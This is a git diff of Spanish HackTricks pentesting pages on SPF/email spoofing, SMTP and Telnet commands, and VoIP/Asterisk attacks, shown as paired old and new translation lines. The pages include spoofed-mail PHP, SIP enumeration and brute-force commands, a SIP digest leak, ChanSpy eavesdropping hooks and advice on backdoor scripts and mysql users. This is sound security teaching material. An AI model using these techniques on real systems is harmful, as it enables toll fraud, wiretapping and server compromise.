| MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). |
| PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado), coincide. Este mecanismo se desaconseja y debe evitarse, si es posible. |
| EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (sin importar la dirección a la que se resuelva). Esto rara vez se utiliza. Junto con el lenguaje de macros SPF, ofrece coincidencias más complejas como consultas DNSBL. |
| INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe utilizar la extensión de redirección. |
| ALL | Coincide siempre; se usa para un resultado predeterminado como `-all` para todas las IPs no coincidentes con mecanismos anteriores. |
| A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que puede resolverse a la dirección del remitente, coincidirá. |
| IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. |
| IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. |
| MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). |
| PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado), coincide. Este mecanismo se desaconseja y debe evitarse, si es posible. |
| EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (sin importar la dirección a la que se resuelva). Esto rara vez se usa. Junto con el lenguaje de macros SPF, ofrece coincidencias más complejas como consultas DNSBL. |
| INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. |
| REDIRECT | <p>Una redirección es un puntero a otro nombre de dominio que alberga una política SPF, permite que múltiples dominios compartan la misma política SPF. Es útil cuando se trabaja con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.</p><p>Se utilizará la política SPF del dominio indicado en el mecanismo de redirección.</p> |
También es posible identificar **Calificadores** que indican **qué se debe hacer si se coincide con un mecanismo**. Por defecto, se utiliza el **calificador "+"** (por lo que si se coincide con algún mecanismo, eso significa que está permitido).\
Normalmente notarás **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, debes etiquetar el correo electrónico como no confiable (\~) o rechazar (-) el correo electrónico.**
Normalmente notarás **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se usa para indicar que **si el remitente no coincide con ninguna política SPF, debes etiquetar el correo electrónico como no confiable (\~) o rechazar (-) el correo electrónico.**
#### Calificadores
@ -438,7 +438,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Esto enviará un mensaje sin firmar
</strong><strong>mail("your_email@gmail.com", "Asunto de Prueba!", "¡hola! Esto es una prueba", "De: administrator@victim.com");
</strong><strong>mail("your_email@gmail.com", "Asunto de Prueba!", "¡hey! Esto es una prueba", "De: administrator@victim.com");
</strong></code></pre>
{% endtab %}
@ -524,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Por lo general, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando, por ejemplo, un nuevo correo es recibido por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si un nuevo correo es recibido por el usuario mark.
Por lo general, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando, por ejemplo, se recibe un nuevo correo por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si se recibe un nuevo correo por el usuario mark.
Otros archivos de configuración:
```
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -1,29 +1,29 @@
# SMTP - Commands
# SMTP - Comandos
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
**Commands from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**Comandos de:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\
Es el primer comando SMTP: inicia la conversación identificando el servidor emisor y generalmente es seguido por su nombre de dominio.
@ -66,23 +66,23 @@ Termina la conversación SMTP.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -1,31 +1,31 @@
# Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Información Básica sobre VoIP
Para comenzar a aprender sobre cómo funciona VoIP, consulta:
Para comenzar a aprender sobre cómo funciona VoIP, revisa:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -259,7 +259,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Enumeración de Extensiones
Las extensiones en un sistema PBX (Central Telefónica Privada) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.
Las extensiones en un sistema PBX (Central Privada de Conmutación) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.
* **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` es un escáner de líneas de extensión SIP PBX gratuito. En concepto, funciona de manera similar a los marcadores tradicionales al **adivinar un rango de extensiones o una lista dada de extensiones**.
```bash
@ -274,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** es un **enumerador de fuerza bruta de nombres de usuario** del protocolo Inter Asterisk Exchange. enumIAX puede operar en dos modos distintos; Adivinanza Secuencial de Nombres de Usuario o Ataque de Diccionario.
* **`enumiax` (`apt install enumiax`): enumIAX** es un **enumerador de fuerza bruta de nombres de usuario** del protocolo Inter Asterisk Exchange. enumIAX puede operar en dos modos distintos: Adivinanza Secuencial de Nombres de Usuario o Ataque de Diccionario.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -345,14 +345,14 @@ Es posible enviar estos códigos en **mensajes SIP INFO**, en **audio** o dentro
```bash
multimon -a DTMF -t wac pin.wav
```
### Llamadas Gratis / Configuraciones Incorrectas de Conexiones Asterisk
### Llamadas Gratis / Configuraciones Incorrectas de Conexiones Asterisks
En Asterisk es posible permitir una conexión **desde una dirección IP específica** o desde **cualquier dirección IP**:
```
host=10.10.10.10
host=dynamic
```
Si se especifica una dirección IP, el host **no necesitará enviar solicitudes REGISTER** de vez en cuando (en el paquete REGISTER se envía el tiempo de vida, generalmente 30 min, lo que significa que en otro escenario el teléfono necesitará REGISTER cada 30 min). Sin embargo, necesitará tener puertos abiertos que permitan conexiones desde el servidor VoIP para recibir llamadas.
Si se especifica una dirección IP, el host **no necesitará enviar solicitudes REGISTER** de vez en cuando (en el paquete REGISTER se envía el tiempo de vida, generalmente 30 minutos, lo que significa que en otro escenario el teléfono necesitará REGISTER cada 30 minutos). Sin embargo, necesitará tener puertos abiertos que permitan conexiones desde el servidor VoIP para recibir llamadas.
Para definir usuarios, se pueden definir como:
@ -375,11 +375,11 @@ Por ejemplo, esta configuración sería vulnerable:\
`type=friend`
{% endhint %}
### Llamadas Gratis / Configuraciones Incorrectas de Contexto en Asterisco
### Llamadas Gratuitas / Configuraciones Incorrectas de Contexto en Asterisco
En Asterisk, un **contexto** es un contenedor o sección nombrada en el plan de marcado que **agrupa extensiones, acciones y reglas relacionadas**. El plan de marcado es el componente central de un sistema Asterisk, ya que define **cómo se manejan y enrutan las llamadas entrantes y salientes**. Los contextos se utilizan para organizar el plan de marcado, gestionar el control de acceso y proporcionar separación entre diferentes partes del sistema.
Cada contexto se define en el archivo de configuración, típicamente en el archivo **`extensions.conf`**. Los contextos se denotan por corchetes cuadrados, con el nombre del contexto encerrado dentro de ellos. Por ejemplo:
Cada contexto se define en el archivo de configuración, típicamente en el archivo **`extensions.conf`**. Los contextos se denotan por corchetes, con el nombre del contexto encerrado dentro de ellos. Por ejemplo:
```bash
csharpCopy code[my_context]
```
@ -390,7 +390,7 @@ exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Este ejemplo demuestra un contexto simple llamado "my\_context" con una extensión "100". Cuando alguien marca 100, la llamada será respondida, se reproducirá un mensaje de bienvenida y luego la llamada será terminada.
Este ejemplo demuestra un contexto simple llamado "my\_context" con una extensión "100". Cuando alguien marca 100, la llamada será contestada, se reproducirá un mensaje de bienvenida y luego la llamada será terminada.
Este es **otro contexto** que permite **llamar a cualquier otro número**:
```scss
@ -434,7 +434,7 @@ IVRS en sistemas VoIP típicamente consiste en:
1. **Indicaciones de voz**: Mensajes de audio pregrabados que guían a los usuarios a través de las opciones del menú IVR e instrucciones.
2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcación generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entrada.
3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones según la entrada del usuario.
4. **Captura de entrada del usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante.
4. **Captura de entrada del usuario**: Recopilar información de los llamantes, como números de cuenta, ID de casos o cualquier otro dato relevante.
5. **Integración con sistemas externos**: Conectar el sistema IVR a bases de datos u otros sistemas de software para acceder o actualizar información, realizar acciones o activar eventos.
En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcado (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar la entrada del usuario y controlar el flujo de la llamada.
@ -448,7 +448,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
El anterior es un ejemplo donde se le pide al usuario que **presione 1 para llamar** a un departamento, **2 para llamar** a otro, o **la extensión completa** si la conoce.\
La vulnerabilidad es el hecho de que la **longitud de la extensión indicada no se verifica, por lo que un usuario podría ingresar el tiempo de espera de 5 segundos de un número completo y se llamará.**
La vulnerabilidad es el hecho de que la **longitud de la extensión indicada no se verifica, por lo que un usuario podría ingresar el número completo con un tiempo de espera de 5 segundos y se llamará.**
### Inyección de Extensión
@ -478,7 +478,7 @@ La vulnerabilidad SIP Digest Leak es una vulnerabilidad que afecta a un gran nú
4. Cuando se cuelga el teléfono, el **teléfono de la víctima envía un BYE al atacante**
5. El **atacante emite una respuesta 407** que **pide autenticación** y emite un desafío de autenticación
6. El **teléfono de la víctima proporciona una respuesta al desafío de autenticación** en un segundo BYE
7. El **atacante puede entonces emitir un ataque de fuerza bruta** sobre la respuesta al desafío en su máquina local (o red distribuida, etc.) y adivinar la contraseña
7. El **atacante puede entonces realizar un ataque de fuerza bruta** en la respuesta al desafío en su máquina local (o red distribuida, etc.) y adivinar la contraseña
* **Filtración SIPPTS** de [**sippts**](https://github.com/Pepelux/sippts)**:** La filtración SIPPTS explota la vulnerabilidad SIP Digest Leak que afecta a un gran número de teléfonos SIP. La salida se puede guardar en formato SipCrack para realizar un ataque de fuerza bruta utilizando SIPPTS dcrack o la herramienta SipCrack.
```bash
@ -531,7 +531,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
### **Escucha clandestina**
En Asterisk es posible usar el comando **`ChanSpy`** indicando la(s) **extensión(es) a monitorear** (o todas ellas) para escuchar las conversaciones que están ocurriendo. Este comando necesita ser asignado a una extensión.
En Asterisk es posible usar el comando **`ChanSpy`** indicando la(s) **extensión(es) a monitorear** (o todas ellas) para escuchar las conversaciones que están ocurriendo. Este comando debe ser asignado a una extensión.
Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, **monitoreará** **`todas`** las extensiones, **comenzará a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Puedes pasar de una conversación a otra presionando **`*`**, o marcando el número de la extensión.
@ -557,11 +557,11 @@ exten => h,1,System(/tmp/leak_conv.sh &)
**RTCPBleed** es un problema de seguridad importante que afecta a los servidores VoIP basados en Asterisk (publicado en 2017). La vulnerabilidad permite que el **tráfico RTP (Protocolo de Tiempo Real)**, que transporta conversaciones VoIP, sea **interceptado y redirigido por cualquier persona en Internet**. Esto ocurre porque el tráfico RTP elude la autenticación al navegar a través de firewalls NAT (Traducción de Direcciones de Red).
Los proxies RTP intentan abordar las **limitaciones de NAT** que afectan a los sistemas RTC al hacer proxy de flujos RTP entre dos o más partes. Cuando hay NAT en su lugar, el software del proxy RTP a menudo no puede confiar en la información de IP y puerto RTP recuperada a través de la señalización (por ejemplo, SIP). Por lo tanto, varios proxies RTP han implementado un mecanismo donde tal **tupla de IP y puerto se aprende automáticamente**. Esto se hace a menudo inspeccionando el tráfico RTP entrante y marcando la IP y el puerto de origen para cualquier tráfico RTP entrante como el que debe ser respondido. Este mecanismo, que puede llamarse "modo de aprendizaje", **no utiliza ningún tipo de autenticación**. Por lo tanto, **los atacantes** pueden **enviar tráfico RTP al proxy RTP** y recibir el tráfico RTP proxy que está destinado al llamante o al receptor de un flujo RTP en curso. Llamamos a esta vulnerabilidad RTP Bleed porque permite a los atacantes recibir flujos de medios RTP destinados a ser enviados a usuarios legítimos.
Los proxies RTP intentan abordar las **limitaciones de NAT** que afectan a los sistemas RTC al hacer proxy de flujos RTP entre dos o más partes. Cuando hay NAT en su lugar, el software del proxy RTP a menudo no puede confiar en la información de IP y puerto RTP recuperada a través de la señalización (por ejemplo, SIP). Por lo tanto, varios proxies RTP han implementado un mecanismo donde tal **tupla de IP y puerto se aprende automáticamente**. Esto se hace a menudo inspeccionando el tráfico RTP entrante y marcando la IP y el puerto de origen para cualquier tráfico RTP entrante como el que debe ser respondido. Este mecanismo, que puede llamarse "modo de aprendizaje", **no utiliza ningún tipo de autenticación**. Por lo tanto, **los atacantes** pueden **enviar tráfico RTP al proxy RTP** y recibir el tráfico RTP proxied destinado al llamador o al receptor de un flujo RTP en curso. Llamamos a esta vulnerabilidad RTP Bleed porque permite a los atacantes recibir flujos de medios RTP destinados a ser enviados a usuarios legítimos.
Otro comportamiento interesante de los proxies RTP y las pilas RTP es que a veces, **incluso si no son vulnerables a RTP Bleed**, **aceptarán, reenviarán y/o procesarán paquetes RTP de cualquier fuente**. Por lo tanto, los atacantes pueden enviar paquetes RTP que pueden permitirles inyectar su medio en lugar del legítimo. Llamamos a este ataque inyección RTP porque permite la inyección de paquetes RTP ilegítimos en flujos RTP existentes. Esta vulnerabilidad puede encontrarse tanto en proxies RTP como en puntos finales.
Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a no tener audio o audio unidireccional en las llamadas.
Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a que no haya audio o audio unidireccional en las llamadas.
Para más información, consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
@ -587,10 +587,10 @@ En Asterisk, de alguna manera logras **agregar reglas de extensión y recargarla
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
Hay un comando llamado **`Shell`** que podría usarse **en lugar de `System`** para ejecutar comandos del sistema si es necesario.
{% hint style="warning" %}
If the server is **disallowing the use of certain characters** in the **`System`** command (like in Elastix), check if the web server allows to **create files somehow inside the system** (like in Elastix or trixbox), and use it to **create a backdoor script** and then use **`System`** to **execute** that **script**.
Si el servidor **no permite el uso de ciertos caracteres** en el comando **`System`** (como en Elastix), verifica si el servidor web permite **crear archivos de alguna manera dentro del sistema** (como en Elastix o trixbox), y úsalo para **crear un script de puerta trasera** y luego usa **`System`** para **ejecutar** ese **script**.
{% endhint %}
#### Archivos locales interesantes y permisos
@ -598,13 +598,13 @@ If the server is **disallowing the use of certain characters** in the **`System`
* **`sip.conf`** -> Contiene la contraseña de los usuarios SIP.
* Si el **servidor Asterisk se está ejecutando como root**, podrías comprometer root.
* El **usuario root de mysql** podría **no tener ninguna contraseña**.
* esto podría ser utilizado para crear un nuevo usuario mysql como puerta trasera.
* esto podría usarse para crear un nuevo usuario mysql como puerta trasera.
* **`FreePBX`**
* **`amportal.conf`** -> Contiene la contraseña del administrador del panel web (FreePBX).
* **`FreePBX.conf`** -> Contiene la contraseña del usuario FreePBXuser utilizado para acceder a la base de datos.
* esto podría ser utilizado para crear un nuevo usuario mysql como puerta trasera.
* esto podría usarse para crear un nuevo usuario mysql como puerta trasera.
* **`Elastix`**
* **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña root de mysql, contraseña IMAPd, contraseña del administrador web.
* **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña de root de mysql, contraseña de IMAPd, contraseña de administrador web.
* **Varios folders** pertenecerán al usuario asterisk comprometido (si no se está ejecutando como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puerta trasera cuando se ejecuten.
### Inyección RTP
@ -630,7 +630,7 @@ Hay varias formas de intentar lograr DoS en servidores VoIP.
### Vulnerabilidades del SO
La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores de sistemas podrían **no actualizarlos nuevamente** y **las vulnerabilidades** se descubrirán con el tiempo.
La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y **las vulnerabilidades** se descubrirán con el tiempo.
## Referencias
@ -642,24 +642,24 @@ La forma más fácil de instalar un software como Asterisk es descargar una **di
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
